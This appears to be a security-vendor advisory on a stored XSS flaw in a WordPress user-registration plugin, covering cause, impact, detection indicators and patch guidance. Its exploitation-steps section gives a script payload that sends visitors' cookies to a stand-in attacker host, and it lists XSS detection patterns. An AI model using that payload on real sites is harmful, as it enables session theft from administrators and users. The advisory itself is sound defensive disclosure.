Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2026-6431
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-6431 is a Stored Cross-Site Scripting (XSS) vulnerability in the User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress, developed by Cozmoslabs. The flaw exists in the 'Biographical Info' meta field and affects all plugin versions up to and including 3.15.7 due to insufficient input sanitization and output escaping. It was published on September 7, 2026, with a patch available as of the same date. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, Wordfence).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting). The plugin fails to properly sanitize user-supplied input in the 'Biographical Info' meta field and does not escape the stored value on output, allowing arbitrary JavaScript to be persisted in the database. Because no authentication is required to submit this field (e.g., during user registration), an unauthenticated remote attacker can inject a malicious script payload that executes in the browser of any user who subsequently views a page rendering the injected profile content. Relevant code paths are visible in front-end/class-formbuilder.php (line 743) and features/email-confirmation/class-email-confirmation.php (line 95) (GitHub Advisory, WordPress Trac).

Impact

Successful exploitation allows an unauthenticated attacker to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of any user who views the affected profile content. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of authenticated users (including administrators), and website defacement. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the vulnerable component to the browsers of site visitors and administrators (GitHub Advisory, Wordfence).

Exploitability

No public proof-of-concept exploit code has been observed, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability is rated as automatable (no user interaction required for injection), which lowers the barrier for mass exploitation. The EPSS score is approximately 0.241% (15th percentile), indicating a relatively low near-term exploitation probability. The CVE status is listed as "Deferred" and it does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the User Profile Builder plugin at version 3.15.7 or earlier. This can be done by checking the plugin's readme.txt file (e.g., https://target.com/wp-content/plugins/profile-builder/readme.txt) or using tools like WPScan.
  2. Access the registration form: Navigate to the site's user registration page rendered by the User Profile Builder plugin, which typically includes a 'Biographical Info' field.
  3. Inject malicious payload: Submit the registration form with a crafted XSS payload in the 'Biographical Info' field, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script>. No authentication is required.
  4. Payload persistence: The malicious script is stored in the WordPress database without sanitization.
  5. Trigger execution: When any user (including an administrator) visits a page that renders the attacker's profile or biographical info (e.g., a member directory or profile page), the injected script executes in their browser.
  6. Achieve objective: The script can exfiltrate session cookies, perform CSRF actions on behalf of the victim, or redirect users to phishing pages (GitHub Advisory, Wordfence).

Indicators of compromise

  • Network: Outbound HTTP requests from user browsers to unexpected external domains shortly after loading profile or member directory pages; unusual POST requests to WordPress registration endpoints containing <script> tags or encoded JavaScript in the description or biographical_info parameter.
  • Logs: WordPress access logs showing POST requests to /wp-login.php?action=register or similar registration endpoints with abnormally large or encoded description field values; repeated access to profile pages from diverse IPs following a registration event.
  • Database: Presence of <script>, javascript:, onerror=, or other XSS payloads in the wp_usermeta table under the description meta key for user accounts.
  • File System: No direct file system artifacts expected for a stored XSS attack, but check for newly created or modified PHP files in the plugin directory that could indicate follow-on compromise.

Mitigation and workarounds

Update the User Profile Builder plugin to version 3.15.8 or later, which addresses the insufficient sanitization and output escaping in the 'Biographical Info' field (GitHub Advisory, WordPress Trac). As interim mitigations, implement a Content Security Policy (CSP) header to restrict inline script execution, and deploy Web Application Firewall (WAF) rules to detect and block script injection attempts in user profile fields. Site administrators should also audit existing user accounts for malicious content in the description meta field and remove any suspicious entries.

Community reactions

The vulnerability was assigned and disclosed by Wordfence, a leading WordPress security firm, which published the advisory on September 7, 2026 (Wordfence). RedPacketSecurity noted the vulnerability on Mastodon shortly after disclosure. No significant broader media coverage or notable researcher commentary beyond standard aggregation has been observed.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-85009MEDIUM6.5
  • restropress
NoNoSep 16, 2026
CVE-2026-85010MEDIUM5.3
  • restropress
NoYesSep 16, 2026
CVE-2026-86475MEDIUM5.3
  • appointment-hour-booking
NoYesSep 16, 2026
CVE-2026-84906MEDIUM5.3
  • wp-event-solution
NoYesSep 16, 2026
CVE-2026-16557MEDIUM4.3
  • nimble-builder
NoNoSep 16, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management